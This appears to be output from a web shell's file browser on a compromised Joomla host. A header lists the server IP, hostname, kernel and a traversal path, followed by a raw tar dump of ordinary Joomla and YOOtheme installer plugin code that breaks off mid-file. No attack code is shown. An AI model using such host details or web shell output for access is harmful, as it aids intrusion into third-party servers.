uawdijnntqw1x1x1
IP : 216.73.216.84
Hostname : webm003.cluster107.gra.hosting.ovh.net
Kernel : Linux webm003.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
OS : Linux
PATH:
/
home
/
opticamezl
/
www
/
newok
/
07d6c
/
..
/
c9989
/
..
/
api
/
..
/
images
/
.
/
..
/
administrator
/
..
/
installer.tar
/
/
urlinstaller/urlinstaller.xml000064400000001617151664164620012546 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="installer"> <name>plg_installer_urlinstaller</name> <author>Joomla! Project</author> <creationDate>2016-05</creationDate> <copyright>(C) 2016 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.6.0</version> <description>PLG_INSTALLER_URLINSTALLER_PLUGIN_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\Installer\Url</namespace> <files> <folder plugin="urlinstaller">services</folder> <folder>src</folder> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_installer_urlinstaller.ini</language> <language tag="en-GB">language/en-GB/plg_installer_urlinstaller.sys.ini</language> </languages> </extension> urlinstaller/src/Extension/UrlInstaller.php000064400000002643151664164620015200 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Installer.urlinstaller * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Installer\Url\Extension; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\Plugin\PluginHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * UrlFolderInstaller Plugin. * * @since 3.6.0 */ final class UrlInstaller extends CMSPlugin { /** * Application object. * * @var \Joomla\CMS\Application\CMSApplication * @since 4.0.0 * @deprecated 6.0 Is needed for template overrides, use getApplication instead */ protected $app; /** * Textfield or Form of the Plugin. * * @return array Returns an array with the tab information * * @since 3.6.0 */ public function onInstallerAddInstallationTab() { // Load language files $this->loadLanguage(); $tab = []; $tab['name'] = 'url'; $tab['label'] = $this->getApplication()->getLanguage()->_('PLG_INSTALLER_URLINSTALLER_TEXT'); // Render the input ob_start(); include PluginHelper::getLayoutPath('installer', 'urlinstaller'); $tab['content'] = ob_get_clean(); return $tab; } } urlinstaller/tmpl/default.php000064400000002363151664164620012414 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Installer.urlinstaller * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Language\Text; use Joomla\Plugin\Installer\Url\Extension\UrlInstaller; /** @var UrlInstaller $this */ $this->getApplication()->getDocument()->getWebAssetManager() ->registerAndUseScript('plg_installer_urlinstaller.urlinstaller', 'plg_installer_urlinstaller/urlinstaller.js', [], ['defer' => true], ['core']); ?> <legend><?php echo Text::_('PLG_INSTALLER_URLINSTALLER_TEXT'); ?></legend> <div class="control-group"> <label for="install_url" class="control-label"> <?php echo Text::_('PLG_INSTALLER_URLINSTALLER_TEXT'); ?> </label> <div class="controls"> <input type="text" id="install_url" name="install_url" class="form-control" placeholder="https://"> </div> </div> <div class="control-group"> <div class="controls"> <button type="button" class="btn btn-primary" id="installbutton_url" onclick="Joomla.submitbuttonurl()"> <?php echo Text::_('PLG_INSTALLER_URLINSTALLER_BUTTON'); ?> </button> </div> </div> urlinstaller/services/provider.php000064400000002475151664164620013475 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Installer.urlinstaller * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\Installer\Url\Extension\UrlInstaller; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container) { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new UrlInstaller( $dispatcher, (array) PluginHelper::getPlugin('installer', 'urlinstaller') ); $plugin->setApplication(Factory::getApplication()); return $plugin; } ); } }; yootheme/yootheme.xml000060400000002616151664164620010764 0ustar00<?xml version="1.0" encoding="utf-8"?> <extension version="3.1" type="plugin" group="installer" method="upgrade"> <name>Installer - YOOtheme</name> <version>1.0.7</version> <description>PLG_INSTALLER_YOOTHEME_DESCRIPTION</description> <creationDate>Oktober 2021</creationDate> <copyright>Copyright (C) YOOtheme GmbH</copyright> <license>GNU General Public License v2 or later</license> <author>YOOtheme</author> <authorEmail>info@yootheme.com</authorEmail> <authorUrl>http://yootheme.com</authorUrl> <scriptfile>script.php</scriptfile> <files> <filename plugin="yootheme">yootheme.php</filename> <filename>script.php</filename> <filename>CHANGELOG.md</filename> <filename>README.md</filename> </files> <config> <fields name="params"> <fieldset name="basic"> <field name="apikey" type="textarea" label="PLG_INSTALLER_YOOTHEME_API_KEY" /> </fieldset> </fields> </config> <updateservers> <server type="extension" priority="1" name="YOOtheme Installer">https://yootheme.com/api/update/installer_yootheme_j33.xml</server> </updateservers> <languages folder="language"> <language tag="en-GB">en-GB/en-GB.plg_installer_yootheme.ini</language> <language tag="en-GB">en-GB/en-GB.plg_installer_yootheme.sys.ini</language> </languages> </extension> yootheme/yootheme.php000060400000002412151664164620010745 0ustar00<?php use Joomla\CMS\Factory; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\Language\Text; defined('_JEXEC') or die(); class plgInstallerYootheme extends CMSPlugin { public function onInstallerBeforePackageDownload(&$url, &$headers) { if (parse_url($url, PHP_URL_HOST) == 'yootheme.com' && !strpos($url, 'key=')) { if ($key = $this->params->get('apikey')) { $pos = strpos($url, '?'); if ($pos === false) { $url .= "?key=$key"; } else { $url = substr_replace($url, "?key=$key&", $pos, 1); } } else { $app = Factory::getApplication(); $language = method_exists($app, 'getLanguage') ? $app->getLanguage() : Factory::getLanguage(); // load default and current language $language->load('plg_installer_yootheme', JPATH_ADMINISTRATOR, 'en-GB', true); $language->load('plg_installer_yootheme', JPATH_ADMINISTRATOR, null, true); // warn about missing api key $app->enqueueMessage(Text::_('PLG_INSTALLER_YOOTHEME_API_KEY_WARNING'), 'notice'); } } return true; } } yootheme/README.md000060400000000134151664164620007661 0ustar00# YOOtheme Joomla! Installer - [Homepage](http://yootheme.com) - [Changelog](CHANGELOG.md) yootheme/CHANGELOG.md000060400000000557151664164620010224 0ustar00# Changelog ## 1.0.7 - fix Joomla 5 compatibility ## 1.0.6 ### Changed - fix links in Joomla 4 ## 1.0.5 ### Changed - support download key in Joomla 4 update manager ## 1.0.3 ### Fixed - Fix PostgreSQL compatibility ## 1.0.2 ### Fixed - Check installer script class ## 1.0.1 ### Fixed - Updated language strings ## 1.0.0 ### New - Initial release yootheme/script.php000060400000001241151664164620010417 0ustar00<?php use Joomla\CMS\Factory; defined('_JEXEC') or die(); if (class_exists('plgInstallerYoothemeInstallerScript', false)) { return; } class plgInstallerYoothemeInstallerScript { public function install($parent) { Factory::getDBO() ->setQuery( "UPDATE #__extensions SET enabled = 1 WHERE type = 'plugin' AND folder = 'installer' AND element = 'yootheme'" ) ->execute(); } public function uninstall($parent) { } public function update($parent) { } public function preflight($type, $parent) { } public function postflight($type, $parent) { } } folderinstaller/services/provider.php000064400000002514151664164620014140 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Installer.folderinstaller * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\Installer\Folder\Extension\FolderInstaller; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container) { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new FolderInstaller( $dispatcher, (array) PluginHelper::getPlugin('installer', 'folderinstaller') ); $plugin->setApplication(Factory::getApplication()); return $plugin; } ); } }; folderinstaller/src/Extension/FolderInstaller.php000064400000002662151664164620016323 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Installer.folderinstaller * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Installer\Folder\Extension; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\Plugin\PluginHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * FolderInstaller Plugin. * * @since 3.6.0 */ final class FolderInstaller extends CMSPlugin { /** * Application object. * * @var \Joomla\CMS\Application\CMSApplication * @since 4.0.0 * @deprecated 6.0 Is needed for template overrides, use getApplication instead */ protected $app; /** * Textfield or Form of the Plugin. * * @return array Returns an array with the tab information * * @since 3.6.0 */ public function onInstallerAddInstallationTab() { // Load language files $this->loadLanguage(); $tab = []; $tab['name'] = 'folder'; $tab['label'] = $this->getApplication()->getLanguage()->_('PLG_INSTALLER_FOLDERINSTALLER_TEXT'); // Render the input ob_start(); include PluginHelper::getLayoutPath('installer', 'folderinstaller'); $tab['content'] = ob_get_clean(); return $tab; } } folderinstaller/folderinstaller.xml000064400000001641151664164620013665 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="installer"> <name>plg_installer_folderinstaller</name> <author>Joomla! Project</author> <creationDate>2016-05</creationDate> <copyright>(C) 2016 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>3.6.0</version> <description>PLG_INSTALLER_FOLDERINSTALLER_PLUGIN_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\Installer\Folder</namespace> <files> <folder plugin="folderinstaller">services</folder> <folder>src</folder> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_installer_folderinstaller.ini</language> <language tag="en-GB">language/en-GB/plg_installer_folderinstaller.sys.ini</language> </languages> </extension> folderinstaller/tmpl/default.php000064400000002740151664164620013064 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Installer.folderinstaller * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Language\Text; /** @var PlgInstallerFolderInstaller $this */ Text::script('PLG_INSTALLER_FOLDERINSTALLER_NO_INSTALL_PATH'); $this->getApplication()->getDocument()->getWebAssetManager() ->registerAndUseScript( 'plg_installer_folderinstaller.folderinstaller', 'plg_installer_folderinstaller/folderinstaller.js', [], ['defer' => true], ['core'] ); ?> <legend><?php echo Text::_('PLG_INSTALLER_FOLDERINSTALLER_TEXT'); ?></legend> <div class="control-group"> <label for="install_directory" class="control-label"> <?php echo Text::_('PLG_INSTALLER_FOLDERINSTALLER_TEXT'); ?> </label> <div class="controls"> <input type="text" id="install_directory" name="install_directory" class="form-control" value="<?php echo $this->getApplication()->getInput()->get('install_directory', $this->getApplication()->get('tmp_path')); ?>"> </div> </div> <div class="control-group"> <div class="controls"> <button type="button" class="btn btn-primary" id="installbutton_directory" onclick="Joomla.submitbuttonfolder()"> <?php echo Text::_('PLG_INSTALLER_FOLDERINSTALLER_BUTTON'); ?> </button> </div> </div> override/override.xml000064400000001571151664164620010743 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="installer" method="upgrade"> <name>plg_installer_override</name> <author>Joomla! Project</author> <creationDate>2018-06</creationDate> <copyright>(C) 2018 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>4.0.0</version> <description>PLG_INSTALLER_OVERRIDE_PLUGIN_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\Installer\Override</namespace> <files> <folder plugin="override">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_installer_override.ini</language> <language tag="en-GB">language/en-GB/plg_installer_override.sys.ini</language> </languages> </extension> override/services/provider.php000064400000002652151664164620012571 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Installer.override * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\Database\DatabaseInterface; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\Installer\Override\Extension\Override; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container) { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new Override( $dispatcher, (array) PluginHelper::getPlugin('installer', 'override') ); $plugin->setApplication(Factory::getApplication()); $plugin->setDatabase($container->get(DatabaseInterface::class)); return $plugin; } ); } }; override/src/Extension/Override.php000064400000024056151664164620013440 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Installer.override * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Installer\Override\Extension; use Joomla\CMS\Date\Date; use Joomla\CMS\Language\Text; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\Database\DatabaseAwareTrait; use Joomla\Database\ParameterType; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Override Plugin * * @since 4.0.0 */ final class Override extends CMSPlugin { use DatabaseAwareTrait; /** * Load the language file on instantiation. * * @var boolean * * @since 4.0.0 */ protected $autoloadLanguage = true; /** * Method to get com_templates model instance. * * @param string $name The model name. Optional * @param string $prefix The class prefix. Optional * * @return \Joomla\Component\Templates\Administrator\Model\TemplateModel * * @since 4.0.0 * * @throws \Exception */ public function getModel($name = 'Template', $prefix = 'Administrator') { /** @var \Joomla\Component\Templates\Administrator\Extension\TemplatesComponent $templateProvider */ $templateProvider = $this->getApplication()->bootComponent('com_templates'); /** @var \Joomla\Component\Templates\Administrator\Model\TemplateModel $model */ $model = $templateProvider->getMVCFactory()->createModel($name, $prefix); return $model; } /** * Purges session array. * * @return void * * @since 4.0.0 */ public function purge() { // Delete stored session value. $session = $this->getApplication()->getSession(); $session->remove('override.beforeEventFiles'); $session->remove('override.afterEventFiles'); } /** * Method to store files before event. * * @return void * * @since 4.0.0 */ public function storeBeforeEventFiles() { // Delete stored session value. $this->purge(); // Get list and store in session. $list = $this->getOverrideCoreList(); $this->getApplication()->getSession()->set('override.beforeEventFiles', $list); } /** * Method to store files after event. * * @return void * * @since 4.0.0 */ public function storeAfterEventFiles() { // Get list and store in session. $list = $this->getOverrideCoreList(); $this->getApplication()->getSession()->set('override.afterEventFiles', $list); } /** * Method to prepare changed or updated core file. * * @param string $action The name of the action. * * @return array A list of changed files. * * @since 4.0.0 */ public function getUpdatedFiles($action) { $session = $this->getApplication()->getSession(); $after = $session->get('override.afterEventFiles'); $before = $session->get('override.beforeEventFiles'); $result = []; if (!is_array($after) || !is_array($before)) { return $result; } $size1 = count($after); $size2 = count($before); if ($size1 === $size2) { for ($i = 0; $i < $size1; $i++) { if ($after[$i]->coreFile !== $before[$i]->coreFile) { $after[$i]->action = $action; $result[] = $after[$i]; } } } return $result; } /** * Method to get core list of override files. * * @return array The list of core files. * * @since 4.0.0 */ public function getOverrideCoreList() { try { /** @var \Joomla\Component\Templates\Administrator\Model\TemplateModel $templateModel */ $templateModel = $this->getModel(); } catch (\Exception $e) { return []; } return $templateModel->getCoreList(); } /** * Last process of this plugin. * * @param array $result Result array. * * @return void * * @since 4.0.0 */ public function finalize($result) { $num = count($result); $link = 'index.php?option=com_templates&view=templates'; if ($num != 0) { $this->getApplication()->enqueueMessage(Text::plural('PLG_INSTALLER_OVERRIDE_N_FILE_UPDATED', $num, $link), 'notice'); $this->saveOverrides($result); } // Delete stored session value. $this->purge(); } /** * Event before extension update. * * @return void * * @since 4.0.0 */ public function onExtensionBeforeUpdate() { $this->storeBeforeEventFiles(); } /** * Event after extension update. * * @return void * * @since 4.0.0 */ public function onExtensionAfterUpdate() { $this->storeAfterEventFiles(); $result = $this->getUpdatedFiles('Extension Update'); $this->finalize($result); } /** * Event before joomla update. * * @return void * * @since 4.0.0 */ public function onJoomlaBeforeUpdate() { $this->storeBeforeEventFiles(); } /** * Event after joomla update. * * @return void * * @since 4.0.0 */ public function onJoomlaAfterUpdate() { $this->storeAfterEventFiles(); $result = $this->getUpdatedFiles('Joomla Update'); $this->finalize($result); } /** * Event before install. * * @return void * * @since 4.0.0 */ public function onInstallerBeforeInstaller() { $this->storeBeforeEventFiles(); } /** * Event after install. * * @return void * * @since 4.0.0 */ public function onInstallerAfterInstaller() { $this->storeAfterEventFiles(); $result = $this->getUpdatedFiles('Extension Install'); $this->finalize($result); } /** * Check for existing id. * * @param string $id Hash id of file. * @param integer $exid Extension id of file. * * @return boolean True/False * * @since 4.0.0 */ public function load($id, $exid) { $db = $this->getDatabase(); // Create a new query object. $query = $db->getQuery(true); $query ->select($db->quoteName('hash_id')) ->from($db->quoteName('#__template_overrides')) ->where($db->quoteName('hash_id') . ' = :id') ->where($db->quoteName('extension_id') . ' = :exid') ->bind(':id', $id) ->bind(':exid', $exid, ParameterType::INTEGER); $db->setQuery($query); $results = $db->loadObjectList(); if (count($results) === 1) { return true; } return false; } /** * Save the updated files. * * @param array $pks Updated files. * * @return void * * @since 4.0.0 * @throws \Joomla\Database\Exception\ExecutionFailureException|\Joomla\Database\Exception\ConnectionFailureException */ private function saveOverrides($pks) { // Insert columns. $columns = [ 'template', 'hash_id', 'action', 'created_date', 'modified_date', 'extension_id', 'state', 'client_id', ]; $db = $this->getDatabase(); // Create an insert query. $insertQuery = $db->getQuery(true) ->insert($db->quoteName('#__template_overrides')) ->columns($db->quoteName($columns)); foreach ($pks as $pk) { $date = new Date('now'); $createdDate = $date->toSql(); if (empty($pk->coreFile)) { $modifiedDate = null; } else { $modifiedDate = $createdDate; } if ($this->load($pk->id, $pk->extension_id)) { $updateQuery = $db->getQuery(true) ->update($db->quoteName('#__template_overrides')) ->set( [ $db->quoteName('modified_date') . ' = :modifiedDate', $db->quoteName('action') . ' = :pkAction', $db->quoteName('state') . ' = 0', ] ) ->where($db->quoteName('hash_id') . ' = :pkId') ->where($db->quoteName('extension_id') . ' = :exId') ->bind(':modifiedDate', $modifiedDate) ->bind(':pkAction', $pk->action) ->bind(':pkId', $pk->id) ->bind(':exId', $pk->extension_id, ParameterType::INTEGER); // Set the query using our newly populated query object and execute it. $db->setQuery($updateQuery); $db->execute(); continue; } // Insert values, preserve order $bindArray = $insertQuery->bindArray( [ $pk->template, $pk->id, $pk->action, $createdDate, $modifiedDate, ], ParameterType::STRING ); $bindArray = array_merge( $bindArray, $insertQuery->bindArray( [ $pk->extension_id, 0, (int) $pk->client, ], ParameterType::INTEGER ) ); $insertQuery->values(implode(',', $bindArray)); } if (!empty($bindArray)) { $db->setQuery($insertQuery); $db->execute(); } } } webinstaller/tmpl/default.php000064400000003347151664164620012372 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Installer.Webinstaller * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Language\Text; /** @var PlgInstallerWebinstaller $this */ $dir = $this->isRTL() ? ' dir="ltr"' : ''; Text::script('JSEARCH_FILTER_CLEAR'); Text::script('PLG_INSTALLER_WEBINSTALLER_INSTALL_WEB_LOADING_ERROR'); ?> <div id="jed-container" class="tab-pane"> <div class="card" id="web-loader"> <div class="card-body"> <h2 class="card-title"><?php echo Text::_('PLG_INSTALLER_WEBINSTALLER_INSTALL_WEB_LOADING'); ?></h2> </div> </div> <div class="hidden" id="web-loader-error"> </div> </div> <fieldset class="form-group hidden" id="uploadform-web"<?php echo $dir; ?>> <p><strong><?php echo Text::_('PLG_INSTALLER_WEBINSTALLER_INSTALL_WEB_CONFIRM'); ?></strong></p> <dl> <dt id="uploadform-web-name-label"><?php echo Text::_('PLG_INSTALLER_WEBINSTALLER_INSTALL_WEB_CONFIRM_NAME'); ?></dt> <dd id="uploadform-web-name"></dd> <dt><?php echo Text::_('PLG_INSTALLER_WEBINSTALLER_INSTALL_WEB_CONFIRM_URL'); ?></dt> <dd id="uploadform-web-url"></dd> </dl> <div class="card card-light"> <div class="card-body"> <div class="card-text"> <button type="button" class="btn btn-primary" id="uploadform-web-install"><?php echo Text::_('COM_INSTALLER_INSTALL_BUTTON'); ?></button> <button type="button" class="btn btn-secondary" id="uploadform-web-cancel"><?php echo Text::_('JCANCEL'); ?></button> </div> </div> </div> </fieldset> webinstaller/tmpl/hathor.php000060400000003701151664164620012221 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Installer.webinstaller * * @copyright Copyright (C) 2013 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ defined('_JEXEC') or die; use Joomla\CMS\Language\Text; /** @var PlgInstallerWebinstaller $this */ $installfrom = $this->getInstallFrom(); ?> <div class="clr"></div> <fieldset class="uploadform"> <legend><?php echo Text::_('COM_INSTALLER_INSTALL_FROM_WEB', true); ?></legend> <div id="jed-container"<?php echo $dir; ?>> <div id="mywebinstaller" style="display:none"> <a href="#"><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_LOAD_APPS'); ?></a> </div> <div class="well" id="web-loader" style="display:none"> <h2><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_LOADING'); ?></h2> </div> <div class="alert alert-error" id="web-loader-error" style="display:none"> <a class="close" data-dismiss="alert">×</a><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_LOADING_ERROR'); ?> </div> </div> <fieldset class="uploadform" id="uploadform-web" style="display:none" dir="ltr"> <div class="control-group"> <strong><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_CONFIRM'); ?></strong><br /> <span id="uploadform-web-name-label"><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_CONFIRM_NAME'); ?>:</span> <span id="uploadform-web-name"></span><br /> <?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_CONFIRM_URL'); ?>: <span id="uploadform-web-url"></span> </div> <div class="form-actions"> <input type="button" class="btn btn-primary" value="<?php echo Text::_('COM_INSTALLER_INSTALL_BUTTON'); ?>" onclick="Joomla.submitbutton<?php echo $installfrom != '' ? 4 : 5; ?>()" /> <input type="button" class="btn btn-secondary" value="<?php echo Text::_('JCANCEL'); ?>" onclick="Joomla.installfromwebcancel()" /> </div> </fieldset> </fieldset> webinstaller/webinstaller.script.php000060400000011454151664164620013762 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Installer.webinstaller * * @copyright Copyright (C) 2013 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ defined('_JEXEC') or die; // If the minimum PHP version constant hasn't been defined (really old Joomla version), set it now if (!defined('JOOMLA_MINIMUM_PHP')) { // Minimum as of Joomla! 3.3 define('JOOMLA_MINIMUM_PHP', '5.3.10'); } // Stub the JInstallerScript class for older versions to perform the minimum required checks if (!class_exists('JInstallerScript')) { /** * Base install script for use by extensions providing helper methods for common behaviours. * * @since 3.6 */ class JInstallerScript { /** * Minimum PHP version required to install the extension * * @var string * @since 3.6 */ protected $minimumPhp; /** * Minimum Joomla! version required to install the extension * * @var string * @since 3.6 */ protected $minimumJoomla; /** * Function called before extension installation/update/removal procedure commences * * @param string $type The type of change (install, update or discover_install, not uninstall) * @param JInstallerAdapter $parent The class calling this method * * @return boolean True on success * * @since 3.6 */ public function preflight($type, $parent) { // Check for the minimum PHP version before continuing if (!empty($this->minimumPhp) && version_compare(PHP_VERSION, $this->minimumPhp, '<')) { JLog::add(JText::sprintf('JLIB_INSTALLER_MINIMUM_PHP', $this->minimumPhp), JLog::WARNING, 'jerror'); return false; } // Check for the minimum Joomla version before continuing if (!empty($this->minimumJoomla) && version_compare(JVERSION, $this->minimumJoomla, '<')) { JLog::add(JText::sprintf('JLIB_INSTALLER_MINIMUM_JOOMLA', $this->minimumJoomla), JLog::WARNING, 'jerror'); return false; } // Theoretically we should not reach this line in this stub because triggering it means we aren't matching the minimum Joomla version return true; } } } /** * Support for the "Install from Web" tab * * @since 1.0 */ class plginstallerwebinstallerInstallerScript extends JInstallerScript { /** * A list of files to be deleted * * @var array * @since 2.0 */ protected $deleteFiles = array( '/plugins/installer/webinstaller/css/client.css', '/plugins/installer/webinstaller/css/client.min.css', '/plugins/installer/webinstaller/css/index.html', '/plugins/installer/webinstaller/index.html', '/plugins/installer/webinstaller/js/client.js', '/plugins/installer/webinstaller/js/client.min.js', ); /** * A list of folders to be deleted * * @var array * @since 2.0 */ protected $deleteFolders = array( '/plugins/installer/webinstaller/css', '/plugins/installer/webinstaller/js', ); /** * Minimum PHP version required to install the extension * * @var string * @since 2.0 */ protected $minimumPhp = JOOMLA_MINIMUM_PHP; /** * Minimum Joomla! version required to install the extension * * @var string * @since 2.0 */ protected $minimumJoomla = '3.9'; /** * Function called before extension installation/update/removal procedure commences * * @param string $type The type of change (install, update or discover_install, not uninstall) * @param JInstallerAdapter $parent The class calling this method * * @return boolean True on success * * @since 3.6 */ public function preflight($type, $parent) { if (!parent::preflight($type, $parent)) { return false; } // Disallow installs on 4.0 as the plugin is part of core if (version_compare(JVERSION, '4.0', '>=')) { JLog::add(JText::_('PLG_INSTALLER_WEBINSTALLER_ERROR_PLUGIN_INCLUDED_IN_CORE'), JLog::WARNING, 'jerror'); return false; } return true; } /** * Function called after extension installation/update/removal procedure commences * * @param string $route The action being performed * @param JInstallerPlugin $adapter The class calling this method * * @return void * * @since 1.0 */ public function postflight($route, $adapter) { // When initially installing the plugin, enable it as well if ($route === 'install') { try { $db = JFactory::getDbo(); $db->setQuery( $db->getQuery(true) ->update($db->quoteName('#__extensions')) ->set($db->quoteName('enabled') . ' = 1') ->where($db->quoteName('type') . ' = ' . $db->quote('plugin')) ->where($db->quoteName('element') . ' = ' . $db->quote('webinstaller')) )->execute(); } catch (RuntimeException $e) { // Don't let this fatal out the install process, proceed as normal from here } } } } webinstaller/webinstaller.xml000064400000001614151664164620012471 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="installer" method="upgrade"> <name>plg_installer_webinstaller</name> <author>Joomla! Project</author> <creationDate>2017-04</creationDate> <copyright>(C) 2018 Open Source Matters, Inc.</copyright> <license>https://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>4.0.0</version> <description>PLG_INSTALLER_WEBINSTALLER_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\Installer\Web</namespace> <files> <folder plugin="webinstaller">services</folder> <folder>src</folder> <folder>tmpl</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_installer_webinstaller.ini</language> <language tag="en-GB">language/en-GB/plg_installer_webinstaller.sys.ini</language> </languages> </extension> webinstaller/services/provider.php000064400000002475151664164620013450 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Installer.webinstaller * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\Installer\Web\Extension\WebInstaller; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container) { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new WebInstaller( $dispatcher, (array) PluginHelper::getPlugin('installer', 'webinstaller') ); $plugin->setApplication(Factory::getApplication()); return $plugin; } ); } }; webinstaller/src/Extension/WebInstaller.php000064400000012023151664164620015117 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Installer.webinstaller * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\Installer\Web\Extension; use Joomla\CMS\Application\CMSApplication; use Joomla\CMS\Form\Rule\UrlRule; use Joomla\CMS\Language\Text; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\Plugin\PluginHelper; use Joomla\CMS\Updater\Update; use Joomla\CMS\Uri\Uri; use Joomla\CMS\Version; // phpcs:disable 